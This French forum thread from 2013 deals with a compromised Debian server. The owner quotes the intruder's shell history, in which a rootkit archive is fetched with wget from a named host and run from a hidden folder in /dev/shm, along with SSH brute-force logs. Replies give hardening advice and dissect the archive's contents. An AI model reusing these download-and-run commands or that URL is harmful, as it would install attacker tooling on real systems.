Forum Linux.général Machine compromise.

Posté par  . Licence CC By‑SA.
Étiquettes : aucune
14
8
juil.
2013

Salut,

Je viens de constater avec effroi que j'ai une machine compromise. Il s'agit d'un serveur web/courrier/fichiers/multimédia qui tourne dans un conteneur lxc. L’hôte et la machine sont en debian/wheezy.
Pour l'heure j'ai arrêté la machine, couper les ports de la box, changer et vérifier la plupart des binaires, mais au redémarrage, la machine accepte n'importe quel mot de passe pour n'importe quel utilisateur y compris root. Sur une console, le système ne me demande même pas de mot passe;, si je donne un identifiant valable, je suis directement loggé !! Je n'arrive pas à voir par quelle diablerie, le système se comporte comme cela. Pourtant celui qui a hacké ma machine, n'a pas l'air d'être un cador, vu qu'il a laissé plein de traces, voici ce qu'il a exécuté en tant que root:

w
id
id
cd /dev/shm
ls -a
rm -rf flood
cd ~
ls -a
cd .ssh
ls -a
cat known_hosts
cat /proc/cpuinfo |grep proc
cd /dev/shm
ls -a
mkdir " "
wget http://kao.at.ua/tobi.tar
tar zxvf tobi.tar
tar xvf tobi.tar
rm -rf tobi.tar
cd tobi1
ls -a
nano 1
cat 1
./start
chmod +x *
./start 5
w
cd ~
ls -a
cat /etc/issue
cd /dev/shm
ls -a
cd tobi1
ls -a
./start
./start 130

On voit donc qu'il est allé récupérer un rootkit et qu'il l'a installé, mais je n'arrive pas ni à identifier le rootkit en question, ni ce qu'il fait exactement. La seule chose certaine c'est qu'il contient des binaires pour remplacer sshd, ss, sz, pico et deux ou trois bricoles.
J'ai remis en place les binaires de wheezy, mais cela ne change rien.

Sinon voici les traces que j'ai relevé dans /var/auth.log:

Jun 28 11:25:24 lot sshd[13885]: Accepted password for root from 37.200.68.143 port 35605 ssh2
Jun 28 11:25:45 lot sshd[13885]: Received disconnect from 37.200.68.143: 11: Bye Bye
Jun 28 11:27:45 lot sshd[13900]: Accepted password for root from 37.200.68.143 port 43837 ssh2
Jun 28 11:28:06 lot sshd[13900]: Received disconnect from 37.200.68.143: 11: Bye Bye
Jun 28 11:28:32 lot sshd[13910]: Accepted password for root from 5.99.129.34 port 57216 ssh2
Jun 28 11:30:06 lot sshd[13952]: Invalid user oracle from 37.200.68.143
Jun 28 11:30:06 lot sshd[13952]: input_userauth_request: invalid user oracle [preauth]
Jun 28 11:30:06 lot sshd[13952]: Failed password for invalid user oracle from 37.200.68.143 port 52070 ssh2
Jun 28 11:30:06 lot sshd[13952]: Received disconnect from 37.200.68.143: 11: Bye Bye [preauth]
Jun 28 11:31:15 lot sshd[13979]: Accepted password for root from 5.99.129.34 port 57229 ssh2
Jun 28 11:31:16 lot sshd[13979]: subsystem request for sftp by user root
Jun 28 11:32:13 lot sshd[13992]: Accepted password for root from 5.99.129.34 port 57233 ssh2
Jun 28 11:32:14 lot sshd[13992]: subsystem request for sftp by user root
Jun 28 11:32:27 lot sshd[13996]: Accepted password for test from 37.200.68.143 port 60302 ssh2
Jun 28 11:32:48 lot sshd[13998]: Received disconnect from 37.200.68.143: 11: Bye Bye
Jun 28 11:33:58 lot sshd[14015]: Accepted password for root from 5.99.129.34 port 57239 ssh2
Jun 28 11:33:59 lot sshd[14015]: subsystem request for sftp by user root
Jun 28 11:34:48 lot sshd[14023]: Invalid user levente from 37.200.68.143
Jun 28 11:34:48 lot sshd[14023]: input_userauth_request: invalid user levente [preauth]
Jun 28 11:34:48 lot sshd[14023]: Failed password for invalid user levente from 37.200.68.143 port 40301 ssh2
Jun 28 11:34:48 lot sshd[14023]: Received disconnect from 37.200.68.143: 11: Bye Bye [preauth]
Jun 28 11:36:36 lot sshd[14060]: Accepted password for root from 5.99.129.34 port 57248 ssh2
Jun 28 11:36:37 lot sshd[14060]: subsystem request for sftp by user root
Jun 28 11:37:10 lot sshd[14068]: Invalid user linux from 37.200.68.143
Jun 28 11:37:10 lot sshd[14068]: input_userauth_request: invalid user linux [preauth]
Jun 28 11:37:10 lot sshd[14068]: Failed password for invalid user linux from 37.200.68.143 port 48533 ssh2
Jun 28 11:37:10 lot sshd[14068]: Received disconnect from 37.200.68.143: 11: Bye Bye [preauth]
Jun 28 11:39:31 lot sshd[14095]: Invalid user nagios from 37.200.68.143
Jun 28 11:39:31 lot sshd[14095]: input_userauth_request: invalid user nagios [preauth]
Jun 28 11:39:31 lot sshd[14095]: Failed password for invalid user nagios from 37.200.68.143 port 56767 ssh2
Jun 28 11:39:31 lot sshd[14095]: Received disconnect from 37.200.68.143: 11: Bye Bye [preauth]
Jun 28 11:41:52 lot sshd[14134]: Invalid user media from 37.200.68.143
Jun 28 11:41:52 lot sshd[14134]: input_userauth_request: invalid user media [preauth]
Jun 28 11:41:52 lot sshd[14134]: Failed password for invalid user media from 37.200.68.143 port 36785 ssh2
Jun 28 11:41:52 lot sshd[14134]: Received disconnect from 37.200.68.143: 11: Bye Bye [preauth]
Jun 28 11:44:14 lot sshd[14152]: Invalid user cvs from 37.200.68.143
Jun 28 11:44:14 lot sshd[14152]: input_userauth_request: invalid user cvs [preauth]
Jun 28 11:44:14 lot sshd[14152]: Failed password for invalid user cvs from 37.200.68.143 port 45018 ssh2
Jun 28 11:44:14 lot sshd[14152]: Received disconnect from 37.200.68.143: 11: Bye Bye [preauth]
Jun 28 11:46:35 lot sshd[14184]: Invalid user dms from 37.200.68.143
Jun 28 11:46:35 lot sshd[14184]: input_userauth_request: invalid user dms [preauth]
Jun 28 11:46:35 lot sshd[14184]: Failed password for invalid user dms from 37.200.68.143 port 53249 ssh2
Jun 28 11:46:35 lot sshd[14184]: Received disconnect from 37.200.68.143: 11: Bye Bye [preauth]
Jun 28 11:48:56 lot sshd[14199]: Invalid user xbmc from 37.200.68.143
Jun 28 11:48:56 lot sshd[14199]: input_userauth_request: invalid user xbmc [preauth]
Jun 28 11:48:56 lot sshd[14199]: Failed password for invalid user xbmc from 37.200.68.143 port 33248 ssh2
Jun 28 11:48:56 lot sshd[14199]: Received disconnect from 37.200.68.143: 11: Bye Bye [preauth]
Jun 28 11:51:18 lot sshd[14235]: Accepted password for daemon from 37.200.68.143 port 41481 ssh2
Jun 28 11:51:39 lot sshd[14238]: Received disconnect from 37.200.68.143: 11: Bye Bye
Jun 28 11:53:39 lot sshd[14255]: Invalid user postfix from 37.200.68.143
Jun 28 11:53:39 lot sshd[14255]: input_userauth_request: invalid user postfix [preauth]
Jun 28 11:53:39 lot sshd[14255]: Failed password for invalid user postfix from 37.200.68.143 port 49713 ssh2
Jun 28 11:53:39 lot sshd[14255]: Received disconnect from 37.200.68.143: 11: Bye Bye [preauth]
Jun 28 11:56:00 lot sshd[14288]: Invalid user ferenc from 37.200.68.143
Jun 28 11:56:00 lot sshd[14288]: input_userauth_request: invalid user ferenc [preauth]
Jun 28 11:56:00 lot sshd[14288]: Failed password for invalid user ferenc from 37.200.68.143 port 57945 ssh2
Jun 28 11:56:01 lot sshd[14288]: Received disconnect from 37.200.68.143: 11: Bye Bye [preauth]
Jun 28 11:58:22 lot sshd[14313]: Invalid user andrea from 37.200.68.143
Jun 28 11:58:22 lot sshd[14313]: input_userauth_request: invalid user andrea [preauth]
Jun 28 11:58:22 lot sshd[14313]: Failed password for invalid user andrea from 37.200.68.143 port 37944 ssh2
Jun 28 11:58:22 lot sshd[14313]: Received disconnect from 37.200.68.143: 11: Bye Bye [preauth]
Jun 28 12:00:43 lot sshd[14348]: Invalid user testuser from 37.200.68.143
Jun 28 12:00:43 lot sshd[14348]: input_userauth_request: invalid user testuser [preauth]
Jun 28 12:00:43 lot sshd[14348]: Failed password for invalid user testuser from 37.200.68.143 port 46177 ssh2
Jun 28 12:00:43 lot sshd[14348]: Received disconnect from 37.200.68.143: 11: Bye Bye [preauth]
Jun 28 12:01:35 lot sshd[14356]: Accepted password for daemon from 5.99.129.34 port 57359 ssh2
Jun 28 12:02:33 lot sshd[14384]: Accepted password for daemon from 5.99.129.34 port 57363 ssh2
Jun 28 12:02:33 lot sshd[14386]: subsystem request for sftp by user daemon
Jun 28 12:03:04 lot sshd[14396]: Invalid user svn from 37.200.68.143
Jun 28 12:03:04 lot sshd[14396]: input_userauth_request: invalid user svn [preauth]
Jun 28 12:03:04 lot sshd[14396]: Failed password for invalid user svn from 37.200.68.143 port 54408 ssh2
Jun 28 12:03:04 lot sshd[14396]: Received disconnect from 37.200.68.143: 11: Bye Bye [preauth]
Jun 28 18:06:28 lot sshd[18301]: Accepted password for daemon from 94.37.167.58 port 57191 ssh2
Jul  3 18:03:28 lot sshd[32468]: Accepted password for daemon from 94.37.214.231 port 55940 ssh2
Jul  3 18:04:25 lot su[32485]: No passwd entry for user 'su'
Jul  3 18:04:25 lot su[32485]: FAILED su for su by daemon
Jul  3 18:04:25 lot su[32485]: - /dev/pts/1 daemon:su
Jul  3 18:04:28 lot su[32486]: Successful su for root by daemon
Jul  3 18:04:28 lot su[32486]: + /dev/pts/1 daemon:root
Jul  4 11:18:53 lot sshd[27384]: Accepted password for root from 94.37.205.157 port 50946 ssh2
Jul  4 13:34:03 lot sshd[4414]: Accepted password for root from 5.99.129.34 port 56633 ssh2

Merci d'avance pour toute piste,

JMB

  • # Réinstall

    Posté par  (site web personnel) . Évalué à 10.

    Un bon pti guide a avoir sous le coude : http://debian-handbook.info/browse/wheezy/sect.dealing-with-compromised-machine.html

    Et le point le plus important : même si le petit malin n'a pas eu l'air de faire grand chose, tu ne peux pas être sûr de l'étendu des dégats… il est peu être plus malin que prévu et a peut être effacé de vraies traces compromettantes vers une vraie backdoor que tu n'a pas vu
    "The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we're rid of everything the attacker may have left behind (particularly backdoors)."

    Bon courage et toutes mes condoléances ;-)

  • # Accès SSH

    Posté par  (site web personnel, Mastodon) . Évalué à 10.

    Apparemment, il est entré en SSH en tant que root.
    Alors pour la prochaine machine, deux conseils:

    N'accepter que les clés, aucun mot de passe, en SSH. "PasswordAuthentication no" dans /etc/ssh/sshd_config (et générer/mettre en place les clés)

    et/ou

    Ne pas laisser entrer l'utilisateur toot en SSH. "PermitRootLogin no"

    Avec ça, à la prochaine attaque, tu auras juste ça:
    Jul 8 15:47:54 lot sshd[30691]: Connection closed by 1.2.3.4 [preauth]
    ou ça
    Jul 8 15:44:56 lot sshd[30544]: ROOT LOGIN REFUSED FROM 1.2.3.4

    Et tu pourras esquisser un sourire en terminant ton café/coca/thé vert :)

    La gelée de coings est une chose à ne pas avaler de travers.

    • [^] # Re: Accès SSH

      Posté par  (site web personnel) . Évalué à 2.

      Si tes suppositions se vérifie, ça voudrait dire que par défaut, la Wheezy permet la connexion distante en tant que root ?
      Où est-ce une configuration (utilisateur) qui a autorisé cette "fonctionnalité" … dans tous les cas ça pardonne pas.

      La réinstallation complète semble être la plus sage des décisions après analyse si c'est possible.

      Bon courage.

      • [^] # Re: Accès SSH

        Posté par  . Évalué à 5.

        par défaut, la Wheezy permet la connexion distante en tant que root ?

        Oui.

        Pour un sextumvirat ! Zenitram, Tanguy Ortolo, Maclag, xaccrocheur, arnaudus et alenvers présidents !

        • [^] # Re: Accès SSH

          Posté par  (site web personnel) . Évalué à 1.

          Merci.

          Il n'y a rien de "choquant" dans cette configuration par défaut ?
          Je pense que la sagesse voudrait que cette possibilité soit désactivée par défaut, sachant en plus à quoi on s'expose à laisser le compte root accessible ?

          Je fais le parallèle avec la configuration firewall, la sagesse veut que l'on bloque tous les ports et on ouvre après au cas par cas …

          Quelque chose m'échappe ?

          • [^] # Re: Accès SSH

            Posté par  . Évalué à 2.

            maintenant tu peux nous donner ton mots de passe root, sois que l'on rigole un peu, soit c'est une bete attaque par liste de mots de passe recuperer chez sony/xbox etc …

          • [^] # Re: Accès SSH

            Posté par  . Évalué à 4.

            Par défaut, même chez openbsd, le PermitRootLogin est à yes.
            Comme root est tout de même un utilisateur universel, ça permet de se simplifier la vie, non (install par défaut d'un dédié, par ex)

            Pour un sextumvirat ! Zenitram, Tanguy Ortolo, Maclag, xaccrocheur, arnaudus et alenvers présidents !

            • [^] # Re: Accès SSH

              Posté par  . Évalué à 2.

              Mon mot de passe root, n'est pas trivial du tout, je pense plutôt, que l'attaquant a profité d'une faille de sécurité, car je ne fais pas de mise à jour toute les semaines, et surtout je ne reboot pas la machine systématiquement lorsque le noyau est mis à jour. Cela plus le fait que j'ai laissé l'accès root à ssh, a du permettre de rentrer dans ma machine. Le pire est que je savais qu'il ne faut pas laisser cela, mais je ne pensais pas que ma machine pouvait susciter l'intérêt d'un hacker ;-(

              • [^] # Re: Accès SSH

                Posté par  (site web personnel) . Évalué à 10.

                Toutes les machines ont un intérêt pour qui veut avoir un serveur pour envoyer du spam, ou pour avoir une machine qui puisse participer à un DOS, piloter un darknet… l'interet n'est pas ce que la machine héberge, mais ce a quoi elle pourrait servir.

                J'ai une expérience en cours ou j'ai modifié le serveur ssh pour loguer les mots de passe qui sont essayés à la cnx. Il n'y a rien d'installé sur la machine et je surveille ce qui se passe.

                Avec une ip dynamique, pas de nom de domaine associé, 14000 tentatives de cnx pour le port 22 en ssh en 4 mois (et la plupart c'est pour le compte root) provenant de bcp d'endroits (mais principalement de chine).

                Il suffit de brancher une machine sur le net pour qu'elle soit scanné, attaqué…

                Myou

              • [^] # Re: Accès SSH

                Posté par  . Évalué à 3.

                Bonsoir,
                Le plus sûr, est d'interdire totalement l'accès root et pas seulement en ssh.

                Pour ce faire il suffit d'éditer le fichier /etc/shadow et de remplacer la chaine hashé du mot de passe par un !.
                S'assurer avant de faire ceci que l'utilisateur principal soit sudoer.
                En mode installation expert, c'est ce que Debian propose.

                N'ayant pas la totalité du log, je ne sais pas s'il y a beaucoup d'ip qui ont tenté de se loguer, mais dans ce que tu as posté, elles ne sont pas légions, et elles ne viennent que de trois endroits.
                C'est une idée en l'air, mais peut-être envisager un filtrage.

                L'intelligence, c'est le seul outil qui permet à l'homme de mesurer l'étendue de son malheur. (Pierre Desproges)

                • [^] # Re: Accès SSH

                  Posté par  . Évalué à 3.

                  Et comme le monde est bien fait, on peut même taper :
                  sudo chsh -s /usr/sbin/nologin (ou /sbin/nologin chez les autres) root

                  Pour un sextumvirat ! Zenitram, Tanguy Ortolo, Maclag, xaccrocheur, arnaudus et alenvers présidents !

          • [^] # Re: Accès SSH

            Posté par  . Évalué à 3. Dernière modification le 09 juillet 2013 à 09:18.

            La sagesse voudrait
            * qu'on désactive/supprime les comptes non utilisés aussi,
            * qu'on rajoute un noexec sur les partitions bien séparées qui ne contiennent pas d'exécutables,
            (toutes sauf /etc/, /boot, /usr/, /opt),
            * qu'on analyse les logs des services ouverts sur l'internet, pour repérer les comportements frauduleux,
            pour prendre les mesures nécessaires, quitte à installer des outils faisant ce travail d'analyse/blocage,
            (denyhosts, fail2ban,…)
            * qu'on teste la sécurité de notre système avec des scanners de vulnérabilités
            * qu'on fasse installer les màj de sécurité automatiquement, ou que l'on reçoive par mail l'info pour le faire manuellement
            …

            Le sage est-ce… l'expérience qui l'a rendu sage ? je crois que oui.
            Alors qq soit la config par défaut, la sécurité ça s'invente pas, on apprend au fur à mesure,
            on prend le temps d'auditer ses serveurs et on applique les préconisations après qu'on aie été confronté à un problème le plus souvent.

            Et puis le "debian secure manual" commence un peut à dater, mais les principes et préconisations y sont exposées.

            • [^] # Re: Accès SSH

              Posté par  . Évalué à 2.

              qu'on rajoute un noexec sur les partitions bien séparées qui ne contiennent pas d'exécutables,
              sans oublier nosuid nodev

  • # teste le rootkit

    Posté par  . Évalué à 3.

    Sur une console, le système ne me demande même pas de mot passe;, si je donne un identifiant valable, je suis directement loggé !! Je n'arrive pas à voir par quelle diablerie, le système se comporte comme cela. Pourtant celui qui a hacké ma machine, n'a pas l'air d'être un cador

    tu as toutes les etapes pour l'installer,
    alors telecharge le,
    et etudie le pour savoir ce qu'il fait et ce qu'il a fait.

    • [^] # Re: teste le rootkit

      Posté par  . Évalué à 2. Dernière modification le 09 juillet 2013 à 08:49.

      S'il n'est pas téléchargé sur le moment ou dans un délai court, ça risque de lui être difficile. En général les hackers se servent d'hébergeurs gratuits pour stocker leur virus, rootkit, etc, et effacent rapidement leur fichiers chez ces hébergeurs.

      Personnellement lorsque je tombe sur ce genre de sujet, j'ai également ce réflexe ;-). Dans son cas c'est trop tard.

      Par contre le hacker à crée un dossier " " dans /dev/shm, sans doute pour le rendre "invisible", mais d'après le bash_history, il n'est pas entré dedans pour désarchiver tobi.rar.
      Il est peut-être possible de le récupérer dans /dev/shm/tobi1

      L'intelligence, c'est le seul outil qui permet à l'homme de mesurer l'étendue de son malheur. (Pierre Desproges)

      • [^] # Re: teste le rootkit

        Posté par  (site web personnel, Mastodon) . Évalué à 1.

        Au moment de l'écriture de ce message, l'archive est encore disponible. C'est assez instructif je dois dire, il y a des binaires (genre sshd), des codes sources, et même un dictionnaire !

        • [^] # Re: teste le rootkit

          Posté par  . Évalué à 1.

          y'aurais pas un p'tit libpam qui traîne ?

          • [^] # Re: teste le rootkit

            Posté par  (site web personnel, Mastodon) . Évalué à 1.

            Je n'en vois pas. En revanche, il semble lancer un sshd sur le port 2222.

            • [^] # Re: teste le rootkit

              Posté par  (site web personnel, Mastodon) . Évalué à 2.

              Pour aller un peu plus loin : 

              nils@shell:~$ tar -xvf tobi.tar
tobi1
tobi1/pico.tar
tobi1/start
tobi1/ss
tobi1/bios.txt
tobi1/a
tobi1/sz
tobi1/pico
tobi1/sshd
tobi1/log
tobi1/passfile.tar.gz
tobi1/pscan2
tobi1/1
tobi1/scan.log
tobi1/pscan2.c
tar: ustar vol 1, 15 files, 3891200 bytes read, 0 bytes written in 1 secs (3891200 bytes/sec)
nils@shell:~$ cd tobi1/
nils@shell:~/tobi1$ file *
1:               C++ source, ASCII text
a:               Bourne-Again shell script, ISO-8859 text executable, with escape sequences
bios.txt:        ASCII text
log:             ASCII text
passfile.tar.gz: gzip compressed data, was "passfile.tar", from Unix, last modified: Sat Aug 18 12:43:59 2012
pico:            ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped
pico.tar:        gzip compressed data, from Unix, last modified: Tue Mar 19 02:03:03 2002
pscan2:          ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.8, not stripped
pscan2.c:        C source, ASCII text
scan.log:        very short file (no magic)
ss:              ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped
sshd:            ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.16, stripped
start:           ASCII text, with escape sequences
sz:              ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped

              On note que les binaires ss, sshd et sz sont statiques. Les fichiers bios.txt et log contiennent des adresses IP, et passfile.tar.gz contient un fichier passfile qui est un dictionnaire.

        • [^] # Re: teste le rootkit

          Posté par  . Évalué à 3.

          J'avais testé hier et ce matin avec un 404 en retour, là c'est ok.
          pscan ss et sz ne font que des scans de port
          par contre sshd semble avoir été modifié. A vérifer (j'ai juste jeté un oeil rapide), mais sans doute pour tenter des authentification avec le dictionnaire.

          L'intelligence, c'est le seul outil qui permet à l'homme de mesurer l'étendue de son malheur. (Pierre Desproges)

          • [^] # Re: teste le rootkit

            Posté par  . Évalué à 3.

            Pour sshd, je confirme.

            L'intelligence, c'est le seul outil qui permet à l'homme de mesurer l'étendue de son malheur. (Pierre Desproges)

            • [^] # Re: teste le rootkit

              Posté par  . Évalué à 4. Dernière modification le 09 juillet 2013 à 11:12.

              Cette archive me fait penser à ce qu'on appelle un possible "honeypot".
              C'est une sorte de kit du "hacker débutant".
              Je ne pense même pas que ce soit avec celle-là qui a accédé à la machine. Le dictionnaire est trop inconsistant, et pour la placer et la mettre en route il lui a fallu déjà s'introduire.
              Il suffit de comparer les logins sur le log et sur le dictionnaire il y en a qui ne matchent pas.

              Par contre il a du s'introduire avec le même outil (avec un plus gros dictionnaire), et placer cette archive avec peut-être l'intention l'utiliser comme "zombie" (pour attaquer d'autres machines).

              Je disais un honeypot parce que ce n'est pas là que se situe le mal, et cette archive a très bien pu être placée juste pour que le propriétaire du serveur se concentre là-dessus.

              Maintenant si l'authentification est faite quelque soit le mot de passe il a du modifier les librairies du méchanisme d'authentification (pam, comme l'a souligné benoit).
              Cela peut-être vérifiable si on a deux vm dans le même état de mises-à-jour avec un sha1sum. Sinon dans le doute réinstaller les librairies.

              L'intelligence, c'est le seul outil qui permet à l'homme de mesurer l'étendue de son malheur. (Pierre Desproges)

  • # Rechercher tout ce qui a été modifié

    Posté par  . Évalué à 2.

    Essaye de rechercher tout ce qui a été modifié avec un find comme ceci par exemple :

    find / -mtime -1

    cela recherche les fichiers modifiés ces derniers 24H.

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.